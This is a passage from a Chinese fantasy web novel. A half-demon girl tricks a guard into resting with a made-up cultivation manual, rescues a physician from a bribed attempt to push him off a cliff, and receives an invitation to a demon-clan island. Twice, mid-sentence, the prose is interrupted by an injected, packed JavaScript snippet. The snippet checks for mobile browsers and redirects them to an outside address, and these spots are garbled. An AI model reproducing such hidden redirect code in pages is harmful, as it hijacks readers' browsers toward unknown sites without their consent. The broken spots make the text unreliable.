“是我没见过的仙草!”那种仙草是一种菇类,像一把小小的伞,他伸手用指尖搭在“伞柄”末端,给仙草“号脉”,“唔,性微寒,味甘、属水,当有止咳、平喘的作用……姑娘可否先熄灭烛火?” 青崖于是吹灭灯笼,在他身边蹲下,道:“这个啊,春生秋枯,只活三季。”伸手拍了拍那小伞,仙草类植物特有的荧光变得更明亮了。 淡蓝色荧光照得长山侧颜如同玉像。 青崖道:“真好看。” 长山沉迷于在草丛里寻找这种初次看到的仙草,心不在焉道:“是啊,这些发光的仙草,在夜晚时的确好看。” 青崖觉得有趣,没有纠正他。 长山观察够了,二人回到路上继续往前走,他接回先前的话题,道:“陵王此番落难,险些丧命。裴侍卫大约认为这是他的失职,他怪自己功夫不佳,没能护好陵王,所以最近从早到晚都在练剑,晚上又为陵王守夜,很少休息。他自己所受的伤尚未完全恢复,若是这样从早到晚拼命练下去,就算一日三餐都吃药粥,身体也会支撑不住……姑娘为何这样看我?” 青崖笑意盈盈盯着长山,“你简直同我姐姐一样,刀子嘴豆腐心,嘴上说着讨厌他们,其实知道他们不坏,总盼着他们好起来,安全地回去,是不是?” 树上传来一阵红鸟扑打翅膀的声音,青崖全当听不见。 “我只是尽一个医者的职责,”长山生硬道,“如姑娘所说,倘若我父母还在,他们会希望我做一个好大夫,治病救人。” “啧,”青崖对于这种总是不够坦白的说话方式再熟悉不过,不欲与之争论,想了想道,“我有办法,明天就能让裴浩少练剑多休息。” 及至能看到红鸾的房子,长山就告辞折返。他走出没多远,红鸟从树上俯冲落地,化出人形。 红鸾望着长山的背影,对青崖道:“你今日吹笛子时,吹错了几个音。” “是吗?我没注意。”青崖观察着红鸾的脸色,不确定地问:“你是在生气吗?” 姐姐梦魇时,她也会吹笛安抚。按理说吹错几个音简直不值一提,可姐姐过了半日还非要提起这件事,就让她感到莫名心虚。同时又很纳闷:只是这样一件小事,为什么她会有点不希望让姐姐发现? 是因为她也给外人吹笛?还是给外人吹笛还吹错音? 以及,平日里吹奏过上百遍的曲子,当时为什么会出错? 红鸾没有回答她的问题,而是转移了话题,问:“你要怎么劝裴浩多休息?” 青崖往红鸾屋里走去,道:“明天你就知道啦。还有,长山那边药材快用完了,有一些需要到结界外面去采,明天我可以出去吗?” “有我跟着就可以。最好也让他们中间的随便哪个一起跟着出去。” “为什么?” “可以看看藏在暗处的人会不会有什么动作,是针对谁。” 青崖停下脚步,“所以带他们出去,是要拿他们做诱饵?” 红鸾毫不掩饰:“是。” 从玉皇山回来后,一直风平浪静。红鸾认为与其守株待兔,不如主动出击。 青崖一开始想反对把人当诱饵,转念一想,又觉带他们出去试试也好,如果有她与姐姐保护,他们都不能安全走出结界,那么将来如何放心让他们自己离开? “这是我熬的汤,你要不要尝尝?”青崖回屋放下食盒,兴致勃勃从里面端出一个的汤碗,揭开碗盖,“我特意给你带了一份。” 红鸾曾在凡世间游历十余载,吃过凡人饮食,自己也做得一手好菜,一闻即知那汤味道不祥。 “那三个人喝了都说好喝。”青崖把汤举到她眼前。 红鸾在青崖期待的目光中,端起汤碗一饮而尽,擦了擦嘴,悠悠道:“女子一开始给人做饭就会没完没了,容易变得苦命,下次别做了。” *** 翌日,风和日丽,裴浩正在屋前空地上练剑。 每次青崖看到他,他不是在照顾阿远,就是在练剑。 裴浩宽肩窄腰,手阔腿长,挽起的袖子里露出古铜色的手臂,臂上肌肉紧实,线条流畅。他握着剑时,如同与剑合为一体,将自己也化作一把利剑。 青崖在赏心悦目之余,不禁感叹,这样看似是个粗犷武人的人,在照顾阿远时,竟能比照顾婴孩的母亲还细致,人的脾性果然既复杂又神奇。 她远远观察片刻,发现裴浩身段悦目,身法就差了一点,明显气力虚浮,脚步不稳。本该如飞鸟一般轻灵的剑法,被他舞得锐气大减,要是体力再差一点,就要像扑棱蛾子了。 呼的一下,青崖出其不意,闪身袭向裴浩,重复初见时的那一招,用自己手中的一卷纸筒往剑上一搭一转,一举夺下对方的剑,反将纸筒塞进他手里。 裴浩只觉青影一闪,手中的剑突然就变成了别的东西。略一定神,看到青衣少女在几步之外好整以暇地把玩着他的剑,惊奇道:“你是怎 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不过这话不能现在告诉裴浩,她背起手煞有介事道:“我可以把我的修习方法告诉你,至于能不能练成,就看你自己啦。要我说嘛,你按照我的方法,就算练不成我这样,至少也能让你的能力大有长进。” 裴浩立即站正抱拳:“请姑娘赐教!” 青崖一听,兴致高涨,“你们——嗯,你们山外的人把这叫做‘拜师学艺’吧?” 裴浩毫不犹豫地跪下拜道:“是,我愿拜姑娘为师!” 论年龄,裴浩比青崖大一岁,论地位,裴浩是陵王侍卫,青崖是个山野闲人。他如此毫不犹豫地行礼,一是这次没能护好陵王,让陵王惨遭虐待,心中万分愧疚,急于提高武力;二是青崖的轻灵身法他平生见所未见闻所未闻,在他看来简直如同仙法,自然十分向往。 他生怕青崖反悔,错失良机,迫不及待行礼:“师父在上,请受弟子三拜!” 眼看裴浩要行大礼,青崖忙拉起他道:“喂喂喂,大礼就不必了。” 她本意只想诓骗裴浩听她的话,多多休息,这么一来,她还真得想办法帮他提高武力了。至于怎么提高,当下也只能想到等他体力好时陪他多切磋练习,别无他法。 “多谢师父!”裴浩固执地拜了三下才站起。 青崖眉头微皱:“‘师父’听起来有点老气。” 裴浩略作思考,改口道:“那——多谢小师父!” 青崖拍手:“好,那从今日起,你就跟我修习,我教你怎么练,何时练,你都要听从,知道了吗?” “谨遵小师父教诲!” 青崖指着塞进裴浩手中的纸卷道:“你把那个打开。” 裴浩展开纸页,逐一翻看,共三张纸,其上写满字句,他一目十行地扫过去,只见开头是: 气盈如渊,万物之宗。和光同尘,湛兮或存。 结尾是:若屈若拙,清静为正。千里之行,始于足下。 三页纸每页百字,共约三百字,连起来读,如诗如歌,朗朗上口。 20. 溯洄从之,道阻且长3 青崖故作高深道:“这是入门口诀,切记不可外传于他人。最近几日,你每日练剑时间不得超过一个时辰,其他时间,就念着这上面的心法,静坐冥思。先诵读心法,排除杂念,再凝神聚气,在心中默想你的一招一式,也可以假想有个敌人,在心里想象与他过招。” 裴浩没听过这样的修习方法,不过既然是神功,修习方法特别也很正常,他点头道:“那小师父是否能先解读一下这心法?” 青崖摆出名师的自信风范掩饰忐忑,“你先诵读默背,功力到时,自会明白。” 看裴浩像得到至宝一般,捧着她昨晚才编出的“心法”背诵,青崖开始觉得这方法似乎有点对不住他。 一直在旁边磨药旁听的长山颇感兴趣地问:“是什么神秘心法,我可有幸一看?” 青崖悄声道:“可以,你看完如果能给他解释解释更好。” “嗯?”长山疑问道,“我解释?” 青崖汗颜道:“我小时候,爹爹总逼我背书,我不爱背,爹爹检查时,我常背地颠三倒四,把来自不同诗文的句子拼凑成章。有时候爹爹觉得实在好笑,就把我背的东西记录下来,说留给我长大看,叫我知道我小时候功课多么荒唐。我昨晚把我爹的记录改了改,让那东西看起来更像那么一回事——然后就变成所谓的‘心法口诀’啦。” 长山讶然,也对她抱拳,“佩服。” “心法”真相其实略有不同。她所说的,是可以告诉外人的说辞。 真相是由于她是半妖体质,难以吸收灵气,父亲不得不尝试多种方法以外力帮她进入入定状态。其中最有效的方法之一,就是让她诵读各种诗文,久而久之,摘录了一些颇有奇效的片段。后来青崖发现作画入定的效果更好,就放弃诵读那些她一知半解的诗文了。不过由于诵读过千百遍,那些字句片段一直铭记在心,昨晚默写出来,修修改改,居然意外顺利地成就一篇读来略显玄妙的口诀。 为了避免泄露什么秘密,她还特意让姐姐看了一遍,姐姐读过之后评论:“就像《天书》一样,投其所好,正好骗人。” 这话本来是让她安心去骗裴浩,然而她听了不喜反忧,编出口诀的成就感也烟消云散。 天下众妖最恨的就是《天书》。 此书作者署名“寒潭仙人”,大约二十几年前开始广为流传,现已成为捉妖方士的正书宝典,就是那本书里记载:人吃妖心可得长生。 《天书》问世之前,世间本无“妖”,他们这种聚灵而生的生灵和普通人一起生活,相安无事,《天书》问世之后,他们的地位一落千丈,渐渐演变成如今被人捕杀的“妖”。又因他们数量稀少,不及东莱国人口百分之一,杀人还会遭受反噬,所以虽有异能,却不敢与凡人相争,只能隐匿行踪,躲藏度日。 青崖当然不愿自己写的东西与《天书》性质类似,所以打定主意只是暂时骗骗裴浩,等他身体修养好,离开前,一定对他据实以告,希望他那时候会谅解她,也不要把她编的“心法”外传出去让人误会是什么神功。 不过,反正他离开山谷前会喝忘尘酒,那时什么心法口诀都会忘了吧。 裴浩捧着心法在屋檐下认真阅读,青崖一脸愧色,长山宽慰道:“姑娘放心,他正年轻气盛,只要劳逸结合得当,外加仙草灵药效果加持,等身体恢复到最好的状态,那时你再多与他切磋试练,所谓水涨船高,他的剑法多多少少定会有所长进,那么你也不算空负师名。” 这一番话倒也有理,青崖宽心不少,见裴浩已开始打坐背诀,她就转去屋里看望阿远。 *** “阿远——” 她敲了几下门,在门口呼唤。 阿远像个精致脆弱的琉璃盏,似乎对他说话声音略大一点就会将他震碎,因此青崖无论敲门还是叫他,都很轻柔。 “姐姐请进。”屋里传出阿远那依旧气弱的声音。 门是虚掩的,一推就开,阿远正坐在床上看书。 青崖家里藏书很多,几乎每间房间都有书架,藏书大部分是父母以前搜集来的,还有父母自己写的游记。书与游记都是手抄而成,每一本都极为珍贵,外来三人看到她屋里的大量藏书时,都表示过惊讶。 “青崖姐。” 从玉皇山回来后,又安养数日,阿远的声音听起来仍比正常人虚弱,好在精神日渐振作。他捧着在读的游记,一脸神往道:“我长年在京城,没有去过多少地方,看游记才知道,原来天下有这么多奇景,真羡慕写游记的这位前辈。青崖姐是从哪里得到这么多游记的?” 青崖随意地在床边坐下,顺手给他压了压被角,“游记是我父母和他们的朋友的,还有花钱收来的。” 阿远道:“可我翻了好几本,署名都是一个人。” 青崖父亲去世时二百多岁,游记的时间跨度也有二百多年,书架上有两三层都是他的游记,阿远近日翻阅的恰好是这两三层,署名是她父亲的名字——林槐之。 凡人寿命几十年,两百年的游记,自然不能说都是她父亲一个人写的,青崖于是道:“我爹也像你一样喜欢游记,所以他不仅自己写,还会帮朋友代笔,或腾抄他人游记,也许有些游记不知原作者是谁,最后署名的时候就都署了自己的名。呃……是有点奇怪,但确实如此。” 这一日,她先对裴浩说谎,后对长山说谎,现在又对阿远说谎,不免有些心累,想道:假如告诉他们我是妖,彼此坦诚相待,会怎样? 阿远道:“不奇怪。山河广阔,无法亲身游历,那么看看别人的游记,写上自己的名字,就权当去过了。大约是‘虽不能至,然心向往之’的意思。” 看着阿远轻轻抚摸游记封面,青崖不仅理解,而且深有共鸣。阿远羡慕写游记的人,她也羡慕。父亲的脚步遍天下,母亲也去过许多地方,而她从出生到现在,十几年来都只能躲在这个叫槐谷的山谷里避世隐居,阿远难道不是比她更自 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阿远看到青崖压不住上扬的嘴角,就知道自己问了一个傻问题。 “你这么怕他呀?”青崖收住笑问。 “是,”阿远无可奈何道,“长山先生总让我想起教我读书的先生先生,很严格。他虽然不直接说‘你身为皇子应该如何’,却又好像时时都在监督审视我。” “你大病初愈,现在照顾自己的心情最要紧,爱看游记就尽管看嘛。” 阿远瞟了一眼门外,果断摇头,“只敢偷偷看。” 这样的他,终于有了几分少年活力。 “家里的药材快用完了,今天我带长山先生到外面采药去,”青崖道,“我让他至少在外面待够两个时辰,怎么样?他不在的时候,你就可以放心地看游记了。” “多谢青崖姐。”阿远点头,清浅微笑。 虽然是笑,他的笑永远只是淡淡的,就像那笑容背后有一层挥之不去的忧郁。 青崖没有继续之前的话题问他为什么觉得自己没有机会游历山河,因为她想起了红鸾告诉她的皇室情况。 红鸾不许她向裴浩或阿远多打听皇家的事,可她实在好奇,就缠着红鸾问东问西。 红鸾在京中有位年每年至少通一次信的好友,所以虽隐居多年,外界消息却并非完全断绝。青崖以前不曾打听便罢,最近一追问才发觉,姐姐所知事情之多,简直颠覆她对姐姐的认知。 据姐姐说,当今皇帝近五十岁,共有三十多个儿女,十几个皇子,平王是五皇子,哲远是九皇子。这次皇帝派平王和陵王前来监军,也许就是想看看他们的表现,在他们中间选出一位新的太子。 在此之前,已有两位太子被废杀,上一位太子被废就在去年,死时二十二岁。 十几位皇子中,还在世的仅八位。 红鸾的原话是:“陵王目前处境,如履薄冰。” 21. 溯洄从之,道阻且长4 连续多日,青崖都带长山或裴浩到结界外去采药。 她把让他们出去试探外面是否安全的意图如实告诉了他们,他们也表示此法有理,应当一试。 七八日后,青崖已是第四次带长山外出采药,一直没发现有什么人跟踪或靠近。他们一次比一次走得更远,这次更是出了结界一直走到距离她的屋舍有大半日路程的一山崖边,主要采些普通草药。 那里已不是荒无人烟的地方,偶尔也有附近的百姓路过。 近日连续缺少修炼,青崖极易疲倦,长山采药时,她就找了一棵树靠树休息。本想闭目养神,靠听觉注意周围动静,结果不知不觉就睡着了。 不知过了多久,隐约听见有人说话,她迷迷蒙蒙醒来,发现姐姐也靠树睡着了,她靠在姐姐的身上,怪不得睡得很舒服。 她揉着眼睛起来问:“长山呢?” “就在附近吧,”红鸾睁开眼睛,但左右不见长山人影,道:“刚才还在。” 青崖一跃而起,彻底惊醒:“不是说了要保证他安全吗?看不见怎么行?” 红鸾道:“我只说保证你的安全,又没说要保证他们的安全。” “哎呀,姐姐你真是的!”青崖急得到处寻找长山踪影,突然定住,道:“附近有人吗?我怎么听到有人在说话?” 红鸾摇头:“我听不到。” 青崖甩了甩头,把头脑中刚睡醒的昏沉感赶走,侧耳细听,确实听到有人说话,只是隔得太远,因此只有她能听到。 “还不快动手?”一个陌生的年轻男子声音响起,带着一丝命令的语气。 “淮生!你不要这样,我们是来送信的,路上应该少惹是非,你快放了那两个人!”这是一个有点熟悉的女子声音,女子如此一喊,红鸾也隐约听到一点动静。 先前那年轻男子的声音响起:“我只是说说话,又没动手,怎么算我惹是非?——你们说是吧?” 最后的问句提高了声音,似乎是对一定距离之外的人说的。 “你说话算数?”一个有些激动的壮汉声音道,“只要我把他推下去,你就给我十片金羽?” “算数,你们两个只要把对方推下去就算赢,谁赢了,这十片金羽就归谁。” 一阵叮当脆响,是金羽被丢落在地的声音。 声音传来的方向临近山崖,青崖忙拉起红鸾,“听起来好像是谁要把谁推下悬崖,姐姐,咱们快过去看看!” 起身一迈步,就听到长山沉着冷静的声音也从同一个方向传来,道:“你我无冤无仇,你若推我下山,就算良心可安,律法又如何能饶你?你不要相信他们的话,你想想,平白无故他为何送金羽给我们?” 先前那个激动的壮汉声音问道:“对,为什么?” 青崖拉着红鸾一路狂奔,奔上山坡,绕过一堆山石,终于能看到声音传来的位置,一个年轻男子坐在环山道路的尽头,在他对面延伸出去的悬崖边上站着长山和一个农夫模样的人。 农夫看看地上的金羽,又看看长山,眼里满是贪婪之色。 另有一女子站在环山道路中间,焦急大喊“淮生”,看起来是想阻止事态发展,却像被看不见的力量挡在半路,无法往路尽头的悬崖走过去。 走得近了才看出那叫淮生的是一个年纪不大的少年,个头很高,他继续对农夫喊话:“实话告诉你吧,我和那个人有仇,你帮我杀了他,这十片金羽就归你。我买凶杀人,自然不能报官,此事天知地知,你知我知。你若不做,我就另找他人去做,反正这金子给谁都是给。” 所谓长山和他有仇乃是谎话,但那农夫却信了,一步步走向长山,搓着手道:“兄弟,你自认倒霉吧。” 农夫长得虎背熊腰,青崖的心一下提到喉咙,大喊:“住手!” 可距离还十分遥远,山风把她的声音吹散,谁也没听见她的喊话。青崖丢下红鸾,急往上跑,一直跑到呼喊淮生的女子身边,还想继续往上,没走几步就被一层看不见的灼热力量挡了回来,再往前硬闯,手和脸霎时被一片热气蒸得通红,俨然寸步难行。 旁边的女子一把将她拉得退后几步,道:“小心受伤,这是淮生设下的结界。” 青崖也感觉到了,这是一道临时结界,怪不得旁边这女子闯不过去。眼前女子和那个叫淮生的,也都不是普通人。这女子她还认得,名叫洲禾。 不过这时间没空叙旧,青崖惊得回头呼喊:“姐姐!快来帮忙破除结界!” 红鸾从后方赶来,右手按在结界上,运力试图打破。临时结界不像她们住处周边存在十几年的结界那样坚固,只需找到术法阵眼,就可将其摧毁,但那边农夫已走到长山面前,对着长山伸出手去。 青崖也想运转灵力帮忙破解结界,然而匆忙之间,直用力到丹田酸麻也没聚起一丝灵力,只得放弃,想寻找可以绕过结界登上悬崖的地方,但山路一侧紧贴高山石壁,另一侧下方就是悬崖峭壁,别无他路。 她住处周围的结界划出的范围广,结界类似一圈看不见的高墙,而这个结界范围小,却是一个扣在地上的巨大笼罩,甚至也可以深入地下一段距离,密不透风,连飞鸟爬虫都难以出入。 农夫的手搭到了长山的胸前。 “姐姐!长山要被推下去了!” 青崖紧张得绞紧双手,期望长山能有力气多与农夫搏斗片刻。可农夫健壮肥硕,几乎抵得过两个长山,强弱对比过于明显,任谁都会判定长山绝对经不起对方一推,而长山脚下一步之外,就是高山悬崖。 农夫发力了,他身体前倾,猛推长山胸膛,长山用一只手捉着他的手腕。 就在农夫将要把长山推下去时,长山扬起另一只手,一把白色粉末从他手中飘洒出来,洒向农夫面门。 农夫被白色粉末呛得咳了几下,突然脱力,整个人像一团面团一样缓缓瘫软在长山脚下,长山还扶住他往里推,免得他从崖边滚落。 红鸾这时才找到阵眼,破了结界。青崖飞奔过去,直接从挡在环山道路末端的淮生头上跨过,手指触到长山时,袖边卷起一阵清风,农夫衣襟上散落的白色粉末被吹到长山脸上,长山说了一声“小心迷药……”也当即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13296719|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕倒。 这一幕看似是个滑稽的意外,实则是青崖故意为之。 从农夫的下场来看,长山对农夫使用的当是一种迷药。青崖想也没想,就地取材,直接用在了长山身上。 在场只有长山和那名农夫是普通人,唯有这样才更方便接下来的对话。她把长山护在身后,转向来人。 淮生道:“哟!你该不会是这书生的小娘子吧?书生有什么好,我给你二十片金羽,你把他……” 啪的一声,与他同来的女子拍了一下他的后背,他回头看到洲禾与红鸾,脸色微变,从抱胸而坐转为站立姿势。 红鸾走到青崖身边站定,四人两两相对,她喜怒莫测地对来的女子道:“洲禾,好久不见。” 洲禾尴尬地打招呼:“红鸾姐……” 青崖认得洲禾。三年前,红鸾曾请她去家中做客,介绍说她是一个旧识。她比青崖略大,二十出头的模样,在青崖印象中,她是一个聪慧而和善的姐姐。 淮生打量青崖,鄙夷道:“原来你不是这书生的小娘子,是那个半妖啊。” 洲禾又拍了一下淮生,示意他退后,对红鸾歉然道:“我一时疏忽,差点让淮生闯祸,幸亏遇见你们,不然……” “不然他就要害死人了!”青崖接口道。 淮生约莫十五六岁,一脸不羁,毫无愧意,反而挑衅地勾起嘴角:“害死人又如何?我就是想看他们死。” 洲禾道:“你闭嘴。”她性情过于温和,这样一句命令的话,从她口中说出,语气柔和得更像劝慰。 红鸾冷冷道:“先说正事,你们是不是来送信的?” “是,”洲禾走近一步问:“青崖姑娘如今可以自己作选择了吧?” 青崖不明所以,红鸾看了她一眼,极不情愿地道:“嗯,你说吧。” 洲禾取出两个信封,道:“此番我等也是奉鹤夫人之命,前来各地灵流,寻找同族,诚邀你们一起去灵岛定居,这是鹤夫人的请柬。灵岛是内陆三大灵流的起点和终点,那里灵气充沛,三面环海,远离人烟,现已有五千灵族在那里聚集定居。” “灵族?”青崖问。她还是第一次听说这个称呼。 “对,”洲禾道,“‘妖’是东莱国人给我们起的外号,鹤老夫人叫我们无论如何不能领受这个称呼,我族并非恶类,除了身怀异能以外,与人族没有什么区别,在灵岛,我们都自称为‘灵族’。” 青崖瞬间就喜欢上了这个族名。灵族,人族,只是两个不同的种族,没有高低贵贱之分,也没有天生善恶之别,更不该由哪一族去捕杀另一族。 洲禾三年前来时也提过她来自灵岛,但没详细介绍,更没提过什么鹤老夫人的请柬。青崖一直以为灵岛也像她现在隐居的山谷一样,不过是个正好有灵流经过的隐蔽地方,有几个妖结伴定居,没想到竟是一灵族宝地,有上千灵族在那里定居。 青崖见姐姐接过请柬没有打开,自己也没有贸然拆看。 “辛苦你们跑这一趟,”红鸾冷淡道,“但我和妹妹在此定居多年,不愿离开故地。” 22. 溯洄从之,道阻且长5 洲禾道:“鹤夫人说了,我们只要将请柬送到就好,至于去或不去,你们可以自由选择。东莱国人那边捉妖术士越来越多,你们自己斟酌考量。三日之内,只要催动灵力在请柬上按下掌印,自会知晓下一步该去哪里寻找接应。” 红鸾点头,将信收好,道:“既然只是送信,为何要挑唆杀人?” 洲禾有些无奈道:“淮生他讨厌人族,自从发现人类大多爱财后,他就经常这样用金银诱惑,挑拨两个人类恶斗,以此为乐。” 妖不可以亲手杀人,但若想间接杀人,就有很多方法可试。只要将人致死的力量不与自身灵力有关联,就不会遭受煞气反噬。像淮生这样“买凶杀人”,就是一种巧妙的间接杀人法。 青崖骂道:“小小年纪怎么这样恶毒?灵岛的妖都是这样滥杀无辜的吗?要是这样,我们才不去同流合污!” 淮生叼着一根草杆,懒洋洋笑道:“你想去,灵岛还不欢迎你呢,你知道灵岛上的灵族最讨厌什么吗?最讨厌人!你真不愧是半妖,不愿与妖同流,更愿意与人同流合污是不是?人就没有滥杀无辜吗?莫非你真做了那书生的小娘子?打算像你爹娘一样,再生一个半妖?那时候你就永远别想再踏入灵岛,我们会把你的名字和画像……” 轰的一声,红鸾手心生出一团火焰,朝他掷去。淮生被击得后退两步,堪堪停住,抬手接住火团,火团反被他控制,涨大一倍,他奋力一抡,将火团原路掷回。 红鸾只一抬手,火团就停在半路,化作一条火线,游蛇一般游向淮生,呈螺旋状自下而上将他围绕在中间。 淮生双手下压,想要灭火,运力许久,手上青筋暴起,火焰依然熊熊燃烧,将他牢牢困在火线围成的火笼中,未见丝毫颓势。 “红鸾姐你别太生气,”洲禾口中劝阻,身体却靠向红鸾,淡定地袖手旁观,显然乐得有人帮她教训淮生。她道:“淮生是从哥哥被术士捉去后才变得如此暴躁莽撞的。” 围绕淮生的火焰瞬间熄灭,变成一团黑烟,把他呛得大咳不止。他一边剧烈咳嗽,一边弯腰躲开黑烟寻找清新空气,愤恨地瞪了红鸾一眼,不敢再还手。 妖的强弱在不同环境中亦有所区别。 红鸾内丹已成,本是大妖,又在附近灵流修炼十多年,哪怕自身灵力不足,灵流中的灵也可随手取来就用。外来的妖不曾与附近灵流联结,只能使用自身本有的灵力,若真斗起来,除非自身灵力是红鸾的数倍,否则就只有挨打的份。 洲禾任凭淮生在一边兀自咳地惊天动地,没有上前安抚,而是和颜悦色地对青崖道:“姑娘别听他胡说,半妖也好,纯妖也好,都是同族,甚至有些人族也是我们的朋友。鹤夫人有言,困境之前,我们应当齐心合力。半妖身份确实罕见,灵岛有不少同族只是听说,心怀好奇而已,并非个个排斥。鹤老夫人认识你父亲,还常常提起他,夸你父亲是个乐善好义、天赋异禀的灵。鹤老夫人一直想见见他的孩子,日日都盼着你去灵岛呢。” “鹤老夫人是什么人?”青崖问。 “鹤老夫人是灵岛岛主,灵岛就是她发现的。咱们灵族随机降生于各地灵流附近,原本零零散散,不成一体。《捉妖令》开始推行的那一年,鹤老夫人各地奔走,召集同族一起到灵岛聚集定居。灵岛的灵族互帮互助,亲如一家。你去灵岛,夫人一定会欢迎你的。” 青崖从没想过还有这样的地方。上千灵族住在同一个避世半岛上,就像群居的人族一样,那应当很热闹吧? 她有些心动,看了一眼止咳后频频对自己翻白眼的淮生,叹气道:“就算鹤老夫人欢迎我,肯定也有很多灵族是不欢迎我的。”对人族来说,她是拥有妖族血脉的妖,对妖族来说,她是拥有人族血脉的人,这处境实在为难,她没法融入任何一边。 可是也许姐姐会想去灵岛。姐姐又不是半妖,如果她想与同族一起生活,却因为自己的原因而不能去灵族宝地,那就太可惜了。 想到这点,青崖补充道:“我听姐姐的,姐姐去哪里,我就去哪里。” 红鸾不假思索道:“我还是和以前一样,暂不能去,需再考虑。” “不急,你们有时间考虑。不过若是错过这次,就只能等几年后下次灵岛派人来寻访了,”洲禾顿了顿,又问道:“那你们可知附近是否还有其他同族?” 红鸾道:“这次没有,几个刚发现灵根的现在还没开灵智,我想再留他们一段时间,也许你下次再来,就可以带走他们了。我倒是想向你打听一个灵。”红鸾从袖中取出一张画像展开,问:“这是一个水灵根的灵族,你可认得?” 画像是青崖所画,最近红鸾一直随身携带。画像上的男子长身而立,以扇遮面,只露出一对极具辨识度的桃花眼。 洲禾显然一眼就辨认出画像上的人是谁,却没有直说其姓名,而是不急不缓地问道:“红鸾姐难道与此人有冲突?” 红鸾问:“他是谁?在这里做什么?” 洲禾犹豫再三,才道:“他有一些特别的计划,具体细节只有参与的人才知道,我只是略有耳闻,还被要求保密。你们既然遇见过,他却没有自明身份,那我也不便多言。” 红鸾隐藏起对画像上这人的敌意,装作不在意道:“我不是好奇他有什么计划,只是他行事轻佻,误伤了我妹妹。若再遇见,起了冲突,不知该不该手下留情。他若是为灵岛做事,我自然忍让三分,若不是,那他再来打扰,我就不客气了。” 洲禾沉吟片刻,凑到红鸾耳边低声道:“此人所谋之事,乃是为了天下所有灵族,不管他做什么,希望姐姐能够配合。”说完退后,淡淡微笑,青崖追问那人谋划什么,她就闭口不言,再不肯透露更多。 接下来,几人继续聊天,讲的都是一些无关紧要的事。 青崖向她打听关于灵岛的情况,洲禾滔滔不绝介绍那里的优越环境,却不说灵岛具体在哪,只说那里非常遥远,以防泄露给人族,位置保密,必须签订灵契后,方能知晓。 日光西斜,长山动了一动,看起来将要转醒,淮生百无聊赖催了好多次要走,洲禾方与她们道别。 以前红鸾还会邀请灵岛使者到家中做客,而今青崖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13306286|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木屋里藏着几个外来凡人,淮生这个刺头又得罪了她,她也不再留客。 临走前,洲禾对青崖再三强调,灵岛中的同类并非个个都像淮生这样讨厌半妖,也并非都像淮生这样顽劣,还赠送青崖一个灵岛特制的乾坤袋作为礼物。那袋子巴掌大小,里面的空间却无限大,可容纳万物,用它搬家或是收藏东西,再方便不过。 长山转醒时,只有青崖与红鸾还在原地,告诉他买凶杀人的歹徒见到人来就逃走了,农夫也自行离去,让他无须担心。 回家之后,青崖迫不及待拆开鹤夫人的信件,信封里面包着一个对折的木质请帖。木材表面光滑,有微微凸起的高山流水浮雕图。水边镂空,露出请帖里面的白鹤剪影。随着请帖打开,白鹤从请帖内左上角垂直立起,展翅若飞,栩栩如生。 青崖对请帖里的内容又是期待又是忐忑,里面却只有两个大字:速回。 “就这样?”她把请帖翻来覆去,打开又合上,难以相信跋山涉水而来的精致请帖上面居然只有两个字。 “我还以为会有关于灵岛更详细的介绍呢。” “你想去灵岛吗?”红鸾手拿针线,边做绣工边问道。 “淮生说如果我像我爹一样与人相恋,他们会把我的画像和名字怎样?” 当时淮生没有说完,姐姐就对他动手了。 “你父亲曾想带你母亲去灵岛,”红鸾道,“但灵岛不欢迎,你父亲一去就在界碑旁看到他自己的画像,竟然和灵族最讨厌的捉妖术士的画像贴在一起。” “就因为我的母亲是普通人吗?” “是。” 红鸾虽然没有明言,但青崖可以猜到,既然父亲的画像和捉妖术士的画像贴在一起,那画像上一定还有辱骂诋毁他的话,姐姐打断淮生,就是不让他转述那些难听的话。原来父亲娶了人族为妻,遭受族人排斥,所以不得不离开灵岛,和她母亲一起隐居此地。 红鸾又道:“不过那时鹤老夫人奔波在外,忙于召集分散在各地的族人,灵岛初具规模,很是混乱了一段时间,直到岛上的灵族尊鹤夫人为岛主,在她的劝告下,岛上灵族渐渐没有那么极端了,她不止一次写信送请帖要你父母重去灵岛,但是……大约是你母亲故去后,你父亲他不愿意离开与你母亲一起生活过的地方,便一直留在这里。鹤老夫人与你父亲是旧友,要是你想去灵岛,有她撑腰,应该不用太担心。” 红鸾问:“你想去吗?” 青崖陷入沉思。 她其实好奇想去看看,但目前也仅限于想去看看。她担心自己的半妖身份还是会遭受排斥,也舍不得离开生活十几年的山谷,更舍不得曾和父母一起生活过的木屋。乾坤袋再能装,房子也是没法装走的,何况,父母的墓地就在屋后山顶上,她想念父母时,就能前去祭拜。 红鸾看出她的犹豫,道:“不着急,没什么意外的话,灵岛的人三年一来,你有三年时间可以考虑。” 言下之意是这次的邀请先不用考虑。 青崖问:“这么多年,你怎么从来没跟我提过灵岛的事?” 23. 无毁我室1 红鸾手中针线上下翻飞,道:“以前是觉得你年纪太小,没法自己做决定,所以我都替你回绝了,现在你长大了,可以自己做决定。如果你想去,我就送你过去。” “那你想不想去灵岛?” “我没去过灵岛,还不知道那里是什么样子。” 青崖觉得姐姐这是故意绕开“想不想去”这个问题。她自己刚刚得知灵岛是怎样一个地方,也第一次收到请帖,第一次听说岛主鹤老夫人,自然需要时间考虑,可姐姐知道灵岛许多年,难道还在考虑吗? 她问:“你第一次收到灵岛的请帖是什么时候?” “是以前。” 青崖不悦道:“我当然知道是以前,我问你具体是什么时候?哪一年?” 